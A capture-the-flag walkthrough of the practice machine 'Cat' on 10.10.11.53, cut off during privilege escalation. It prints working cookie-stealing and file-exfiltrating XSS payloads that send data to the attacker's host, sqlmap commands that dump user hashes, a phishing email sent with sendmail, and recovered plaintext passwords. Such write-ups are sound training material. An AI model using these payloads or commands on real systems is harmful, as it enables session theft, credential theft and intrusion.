Overview

Cat

This box focuses on web application vulnerabilities, specifically Cross-Site Scripting (XSS) and SQL Injection, leading to privilege escalation. We start with an Nmap scan to identify open ports and services. We then enumerate the web application, discovering an exposed Git repository and an XSS vulnerability in the cat registration feature. Exploiting the XSS allows us to capture an admin session cookie, granting access to an administrative panel. From there, we identify and exploit a SQL Injection vulnerability to dump user credentials, which leads to SSH access as a low-privileged user. Finally, we leverage another XSS vulnerability within a local Gitea instance, triggered by an internal mail service, to compromise a higher-privileged user and obtain the root flag.

Target IP 10.10.11.53


1. Kicking Off with Nmap

As always, we start with an nmap scan to see what services are running on the target.

0xblivion@cat: ~

root@localhost:~# sudo nmap -sVC -oA nmap/cat 10.10.11.53 -vv
Nmap 7.95 scan initiated Thu Jul  3 22:46:57 2025 as: /usr/lib/nmap/nmap -sVC -oA nmap/cat -vv 10.10.11.53
Nmap scan report for 10.10.11.53
Host is up, received echo-reply ttl 63 (0.055s latency).
Scanned at 2025-07-03 22:46:57 EDT for 9s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/7/gBYFf93Ljst5b58XeNKd53hjhC57SgmM9qFvMACECVK0r/Z11ho0Z2xy6i9R5dX2G/HAlIfcu6i2QD9lILOnBmSaHZ22HCjjQKzSbbrnlcIcaEZiE011qtkVmtCd2e5zeVUltA9WCD69pco7BM29OU7FlnMN0iRlF8u962CaRnD4jni/zuiG5C2fcrTHWBxc/RIRELrfJpS3AjJCgEptaa7fsH/XfmOHEkNwOL0ZK0/tdbutmcwWf9dDjV6opyg4IK73UNIJSSak0UXHcCpv0GduF3fep3hmjEwkBgTg/EeZO1IekGssI7yCr0VxvJVz/Gav+snOZ/A1inA5EMqYHGK07B41+0rZo+EZZNbuxlNw/YLQAGuC5tOHt896wZ9tnFeqp3CpFdm2rPGUtFW0jogdda1pRmRy5CNQTPDd6kdtdrZYKqHIWfURmzqva7byzQ1YPjhI22cQ49M79A0yf4yOCPrGlNNzeNJkeZM/LU6p7rNJKxE9CuBAEoyh0=
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEmL+UFD1eC5+aMAOZGipV3cuvXzPFlhqtKj7yVlVwXFN92zXioVTMYVBaivGHf3xmPFInqiVmvsOy3w4TsRja4=
|   256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEOCpb672fivSz3OLXzut3bkFzO4l6xH57aWuSu4RikE
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul  3 22:47:06 2025 -- 1 IP address (1 host up) scanned in 9.39 seconds

The scans reveal port 22/tcp which is SSH and a web server on 80/tcp using Apache. Nmap confirms this is a Linux (Ubuntu) machine.

The HTTP service on port 80 shows a redirect to cat.htb, so we should add this to our /etc/hosts file.

0xblivion@cat: ~

root@localhost:~# echo "10.10.11.53 cat.htb" | sudo tee -a /etc/hosts

2. Gaining Initial Access

Footprinting & Exploring the Site

Visiting http://cat.htb/ in a browser, we see a website dedicated to a cat competition.

Wappalyzer confirms the site is running Apache HTTP Server on Ubuntu and uses PHP.

Exploring the site:

  • The Vote page (http://cat.htb/vote.php) indicates voting is closed and buttons are unresponsive.

  • The Contest page redirects to http://cat.htb/join.php, where we can register a new user.

  • After registering, we can access contest.php to register a cat, which involves providing a cat name, age, birthdate, weight, and photo. This looks like a potential area for vulnerabilities like XSS or file upload exploits.

  • But assumptions can lead us into rabbithole. Let’s try to recon.

Web Enumeration

We run gobuster to enumerate directories and files on the web server.

0xblivion@cat: ~

root@localhost:~# gobuster dir -u http://cat.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cat.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git                 (Status: 301) [Size: 301] [--> http://cat.htb/.git/]
/.git/HEAD            (Status: 200) [Size: 23]
/.git/config          (Status: 200) [Size: 92]
/.git/logs/           (Status: 403) [Size: 272]
/.git/index           (Status: 200) [Size: 1726]
/.htaccess            (Status: 403) [Size: 272]
/.htpasswd            (Status: 403) [Size: 272]
/.hta                 (Status: 403) [Size: 272]
/admin.php            (Status: 302) [Size: 1] [--> /join.php]
/css                  (Status: 301) [Size: 300] [--> http://cat.htb/css/]
/img                  (Status: 301) [Size: 300] [--> http://cat.htb/img/]
/index.php            (Status: 200) [Size: 3075]
/server-status        (Status: 403) [Size: 272]
/uploads              (Status: 301) [Size: 304] [--> http://cat.htb/uploads/]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================

The gobuster scan reveals an exposed .git/ repository and an admin.php page that redirects to join.php. We’ll focus on the .git directory and keep admin.php in mind.

We also run gobuster with the -x php flag and a larger wordlist to find more PHP files.

0xblivion@cat: ~

root@localhost:~# gobuster dir -u http://cat.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cat.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 272]
/admin.php            (Status: 302) [Size: 1] [--> /join.php]
/.html                (Status: 403) [Size: 272]
...SNIP...

Subdomain Enumeration

We perform subdomain enumeration using ffuf to ensure we don’t miss any hidden attack vectors.

0xblivion@cat: ~

root@localhost:~# ffuf -u http://cat.htb/ -H 'Host: FUZZ.cat.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -fl 10

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cat.htb/
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.cat.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 10
________________________________________________

:: Progress: [19966/19966] :: Job [1/1] :: 716 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

The subdomain scan returns no interesting results.

Dumping .git/ using git-dumper

We dump the exposed .git repository to analyze its contents.

0xblivion@cat: ~

root@localhost:~# mkdir git-dump; git-dumper http://cat.htb/ git-dump/
[-] Testing http://cat.htb/.git/HEAD [200]
[-] Testing http://cat.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://cat.htb/.gitignore [404]
[-] Fetching http://cat.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://cat.htb/.git/COMMIT_EDITMSG [200]
[-] http://cat.htb/.gitignore responded with status code 404
[-] Fetching http://cat.htb/.git/description [200]
[-] Fetching http://cat.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://cat.htb/.git/hooks/post-commit.sample [404]
...SNIP...
[-] Running git checkout .

After dumping the repository, we list the files to see what we’ve obtained.

0xblivion@cat: ~

root@localhost:~# ls git-dump/
accept_cat.php  admin.php  config.php  contest.php  css  delete_cat.php  img  img_winners  index.php  join.php  logout.php  view_cat.php  vote.php  winners  winners.php

Analyzing the source code, we find a potential XSS vulnerability in contest.php where the owner_username from the session is inserted into the database without proper sanitization. This username is then displayed in view_cat.php.

// contest.php

        // Check if $uploadOk is set to 0 by an error
        if ($uploadOk == 0) {
        } else {
            if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
                // Prepare SQL query to insert cat data
                $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
                // Bind parameters
                $stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
                $stmt->bindParam(':age', $age, PDO::PARAM_INT);
                $stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
                $stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
                $stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
                $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
                // Execute query
                if ($stmt->execute()) {
                    $success_message = "Cat has been successfully sent for inspection.";
                } else {
                    $error_message = "Error: There was a problem registering the cat.";
                }
            } else {
                $error_message = "Error: There was a problem uploading the file.";
            }
        }
    }

And then in the view_cat.php file, this parameter is retrieved and displayed:

// Get the cat_id from the URL
$cat_id = isset($_GET['cat_id']) ? $_GET['cat_id'] : null;

if ($cat_id) {
    // Prepare and execute the query
    $query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
    $statement = $pdo->prepare($query);
    $statement->bindParam(':cat_id', $cat_id, PDO::PARAM_INT);
    $statement->execute();

    // Fetch cat data from the database
    $cat = $statement->fetch(PDO::FETCH_ASSOC);

    if (!$cat) {
        die("Cat not found.");
    }
} else {
    die("Invalid cat ID.");
}

Exploiting XSS to get Admin Session

We’ll register a new user with an XSS payload in the username, designed to exfiltrate the PHPSESSID cookie.

<img src=x onerror=this.src="http://<YOUR IP>:<PORT>/"+btoa(document.cookie)>

First, we set up a simple Python web server to capture the exfiltrated cookie.

0xblivion@cat: ~

root@localhost:~# php -S 0.0.0.0:80
[Thu Jul  3 23:40:54 2025] PHP 8.4.8 Development Server (http://0.0.0.0:80) started

We register a new account on http://cat.htb/join.php using the XSS payload as the username and any valid email/password.

Then, we log in with the newly registered XSS user and navigate to contest.php to register a cat. This action triggers the XSS, as the owner_username (containing our payload) is processed.

On our PHP web server, we capture the base64 encoded cookie:

0xblivion@cat: ~

root@localhost:~# php -S 0.0.0.0:80
[Thu Jul  3 23:40:54 2025] PHP 8.4.8 Development Server (http://0.0.0.0:80) started
[Fri Jul  4 00:02:23 2025] 10.10.11.53:36812 [200]: GET /UEhQU0VTU0lEPXM0YWcyaWpkMDA0cWg2YTJwbzMxZm1jNThj
[Fri Jul  4 00:02:23 2025] 10.10.11.53:36812 Closing                             
[Fri Jul  4 00:02:23 2025] 10.10.11.53:36818 Accepted                            
[Fri Jul  4 00:02:23 2025] 10.10.11.53:36818 [200]: GET /UEhQU0VTU0lEPXM0YWcyaWpkMDA0cWg2YTJwbzMxZm1jNThj

We decode the captured cookie:

0xblivion@cat: ~

root@localhost:~# echo "UEhQU0VTU0lEPTduOTFkcmVnanFqZ2lhdWIzdG9ocGhhcGMy" | base64 -d 
PHPSESSID=7n91dregjqjgiaub3tohphapc2

We then use the browser’s developer console to change our PHPSESSID cookie to the captured value:

After refreshing the site, we gain access to the admin panel:

SQL Injection

  • From the dumped source code, config.php reveals that the application uses SQLite:

  • Further analysis of accept_cat.php shows a SQL Injection vulnerability in the catName parameter.

  • We intercept a request to accept_cat.php using Burp Suite and save it to a file named accepet_cat.req:

0xblivion@cat: ~

root@localhost:~# cat accepet_cat.req 
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://cat.htb
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=dfvc101c10h4bv5nihmdnkp300
Priority: u=0

catName=awdaw&catId=1   

We use sqlmap to exploit the SQL Injection vulnerability in the catName parameter:

0xblivion@cat: ~

root@localhost:~# sqlmap -r accepet_cat.req --batch -p catName --level 5 --risk 3
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:07:26 /2025-07-05/

[11:07:26] [INFO] parsing HTTP request from 'accepet_cat.req'
[11:07:26] [INFO] resuming back-end DBMS 'sqlite' 
[11:07:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catName=kayden'||(SELECT CHAR(69,121,66,110) WHERE 3182=3182 AND 5253=5253)||'&catId=1
---
[11:07:27] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[11:07:27] [INFO] fetched data logged to text files under '/home/gen/.local/share/sqlmap/output/cat.htb'

[*] ending @ 11:07:27 /2025-07-05/

Confirming the SQL Injection, we proceed to dump the database tables:

0xblivion@cat: ~

root@localhost:~#  sqlmap -r accepet_cat.req --batch -p catName --level 5 --risk 3 --tables
         ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:09:16 /2025-07-05/

[11:09:16] [INFO] parsing HTTP request from 'accepet_cat.req'
[11:09:16] [INFO] resuming back-end DBMS 'sqlite'
[11:09:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catName=kayden'||(SELECT CHAR(69,121,66,110) WHERE 3182=3182 AND 5253=5253)||'&catId=1
---
[11:09:16] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[11:09:16] [INFO] fetching tables for database: 'SQLite_masterdb'
[11:09:16] [INFO] fetching number of tables for database 'SQLite_masterdb'
[11:09:16] [INFO] resumed: 4
[11:09:16] [INFO] resumed: accepted_cats
[11:09:16] [INFO] resumed: sqlite_sequence
[11:09:16] [INFO] resumed: cats
[11:09:16] [INFO] resumed: users

[4 tables]
+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+

[11:09:16] [INFO] fetched data logged to text files under '/home/gen/.local/share/sqlmap/output/cat.htb'

[*] ending @ 11:09:16 /2025-07-05/

The users table is of particular interest. We dump its contents:

0xblivion@cat: ~

root@localhost:~# sqlmap -r accepet_cat.req --batch -p catName --level 5 --risk 3 -T users --dump
 
         __
       __H__
 ___ ___["]_____ ___ ___  {1.9.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:10:58 /2025-07-05/

[11:10:58] [INFO] parsing HTTP request from 'accepet_cat.req'
[11:10:58] [INFO] resuming back-end DBMS 'sqlite'
[11:10:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catName=kayden'||(SELECT CHAR(69,121,66,110) WHERE 3182=3182 AND 5253=5253)||'&catId=1
---
[11:10:58] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
...SNIP...
Database:                                                               Table: users          
[10 entries]
...SNIP...

The dump reveals 10 user entries. We extract the usernames and hashes into a username:password format:

user_id email password username
1 axel2017@gmail.com d1bbba3670feb9435c9841e46e60ee2f axel
2 rosamendoza485@gmail.com ac369922d560f17d6eeb8b2c7dec498c rosa
3 robertcervantes2000@gmail.com 42846631708f69c00ec0c0a8aa4a92ad robert
4 fabiancarachure2323@gmail.com 39e153e825c4a3d314a0dc7f7475ddbe fabian
5 jerrysonC343@gmail.com 781593e060f8d065cd7281c5ec5b4b86 jerryson
6 larryP5656@gmail.com 1b6dce240bbfbc0905a664ad199e18f8 larry
7 royer.royer2323@gmail.com c598f6b844a36fa7836fba0835f1f6 royer
8 peterCC456@gmail.com e41ccefa439fc454f7eadbf1f139ed8a peter
9 angel234g@gmail.com 24a8ec003ac2e1b3c5953a6f95f8f565 angel
10 jobert2020@gmail.com 88e4dceccd48820cf77b5cf6c08698ad jobert
0xblivion@cat: ~

root@localhost:~# grep -E '\|[[:space:]]*[0-9]+[[:space:]]*\|' dump.txt | awk -F '|' '{for(i=1;i<=NF;i++)gsub(/^[ \t]+|[ \t]+$/, "", $i); if(NF>=5 && $5!="") print $5 ":" $4}' | tee hashes.txt
axel:d1bbba3670feb9435c9841e46e60ee2f
rosa:ac369922d560f17d6eeb8b2c7dec498c
robert:42846631708f69c00ec0c0a8aa4a92ad
fabian:39e153e825c4a3d314a0dc7f7475ddbe
jerryson:781593e060f8d065cd7281c5ec5b4b86
larry:1b6dce240bbfbc0905a664ad199e18f8
royer:c598f6b844a36fa7836fba0835f1f6
peter:e41ccefa439fc454f7eadbf1f139ed8a
angel:24a8ec003ac2e1b3c5953a6f95f8f565

We extract only the hashes to use with an online cracker like CrackStation.

0xblivion@cat: ~

root@localhost:~# cat hashes.txt | awk -F: '{print $2}'
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565

Submitting these hashes to CrackStation, we find one cracked password:

We identify the user associated with the cracked hash:

0xblivion@cat: ~

root@localhost:~# cat hashes.txt| grep ac369922d560f17d6eeb8b2c7dec498c
rosa:ac369922d560f17d6eeb8b2c7dec498c

The cracked password belongs to rosa. We attempt to SSH into the box as rosa:

0xblivion@cat: ~

root@localhost:~# ssh rosa@cat.htb 
The authenticity of host 'cat.htb (10.10.11.53)' can't be established.
ED25519 key fingerprint is SHA256:tsmOV3JuQkCv6HNUqg9YQ+DJznLS2nYKJl4zIwKtbE4.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:22: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cat.htb' (ED25519) to the list of known hosts.
rosa@cat.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat 05 Jul 2025 03:31:27 PM UTC

  System load:           0.01
  Usage of /:            51.9% of 6.06GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             236
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.53
  IPv6 address for eth0: dead:beef::250:56ff:feb0:bb1a

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Sep 28 15:44:52 2024 from 192.168.1.64
rosa@cat:~$ 

We have successfully gained SSH access as rosa.


User Flag

Upon logging in as rosa, we check the user’s group memberships using the id command:

0xblivion@cat: ~

rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

The rosa user is part of the adm group. This group typically has permissions to read system log files and other administrative files. Since Apache is running on the server, we check its access logs for interesting information:

0xblivion@cat: ~

rosa@cat:~$ head -5 /var/log/apache2/access.log
127.0.0.1 - - [05/Jul/2025:15:04:49 +0000] "GET /join.php HTTP/1.1" 200 1683 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [05/Jul/2025:15:04:49 +0000] "GET /css/styles.css HTTP/1.1" 200 1155 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [05/Jul/2025:15:04:49 +0000] "GET /favicon.ico HTTP/1.1" 404 485 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [05/Jul/2025:15:04:50 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [05/Jul/2025:15:04:50 +0000] "GET / HTTP/1.1" 200 1436 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

The logs show a login attempt by user axel with a password. We check if axel is a system user.

0xblivion@cat: ~

rosa@cat:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash

User axel exists. We attempt to switch user to axel using the password found in the logs.

0xblivion@cat: ~

rosa@cat:~$ su - axel
Password: 
axel@cat:~$ cat user.txt 
fa36b2c0a19c890b16baae817657e4b8
User flag: fa36b2c0a19c890b16baae817657e4b8

Privilege Escalation to Root

From the /etc/passwd file, we noticed a git user, which suggests a local Git hosting service. We check the listening ports on the server.

0xblivion@cat: ~

axel@cat:~$ ss -lntp
State      Recv-Q Send-Q  Local Address:Port       Peer Address:Port    Process
LISTEN     0      10      127.0.0.1:587            0.0.0.0:*           
LISTEN     0      37      127.0.0.1:55923          0.0.0.0:*           
LISTEN     0      4096    127.0.0.53%lo:53         0.0.0.0:*           
LISTEN     0      128     0.0.0.0:22               0.0.0.0:*           
LISTEN     0      1       127.0.0.1:36727          0.0.0.0:*           
LISTEN     0      128     127.0.0.1:48983          0.0.0.0:*           
LISTEN     0      4096    127.0.0.1:3000           0.0.0.0:*           
LISTEN     0      10      127.0.0.1:25             0.0.0.0:*           
LISTEN     0      511     *:80                     *:*                 
LISTEN     0      128     [::]:22                  [::]:*              

Port 3000 is listening locally, which is a common port for Gitea. Port 25 (SMTP) is also open. When we SSH as axel, we notice a mail notification.

0xblivion@cat: ~

root@localhost:~# ssh axel@cat.htb 
axel@cat.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)

...SNIP...

You have mail.
Last login: Fri Jan 31 11:31:57 2025 from 10.10.14.69
axel@cat:~$

Reading axel’s mail reveals details about an internal Gitea service running on localhost:3000.

0xblivion@cat: ~

axel@cat:~$ cat /var/mail/axel 
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: 
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for ; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: 
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for ; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

The mail indicates that jobert@localhost will review a Gitea repository, and provides a link to an “Employee management” repository: http://localhost:3000/administrator/Employee-management/.

We forward port 3000 from the target to our local machine via SSH.

0xblivion@cat: ~

root@localhost:~# ssh -L 3000:127.0.0.1:3000 axel@cat.htb
axel@cat.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)
...SNIP...
  • Now, we can access http://localhost:3000 in our browser. The Gitea instance shows three users when exploring.

  • Logging in as axel with his password, we notice the Gitea version is 1.22.0 in the footer.

  • Searching for exploits for Gitea 1.22.0, we find a Stored XSS vulnerability.

  • The XSS vulnerability can be exploited by injecting a payload into the repository description. We aim to extract the index.php file from the Employee-management repository, as the email suggested jobert would review the repository.

We craft an XSS payload to fetch the content of http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php and send it to our local web server.

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://10.10.15.7:1234/?x='+encodeURIComponent(d)))">Click</a>

We create a new repository in Gitea (e.g., HALLO) and paste the XSS payload into the Description field, ensuring “Initialize this repository with a README.md” is checked.

Next, we send an email to jobert@localhost with a link to our malicious repository, knowing that jobert will likely click it to review.

0xblivion@cat: ~

axel@cat:~$ echo -e "Subject: Hello, click here http://localhost:3000/axel/HALLO" | sendmail jobert@localhost

On our Python web server (listening on port 1234), we receive the exfiltrated index.php content.

0xblivion@cat: ~

root@localhost:~# python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.11.53 - - [05/Jul/2025 12:10:15] "GET /?x=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A 

Decoding the URL-encoded content reveals the PHP source code for index.php:

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
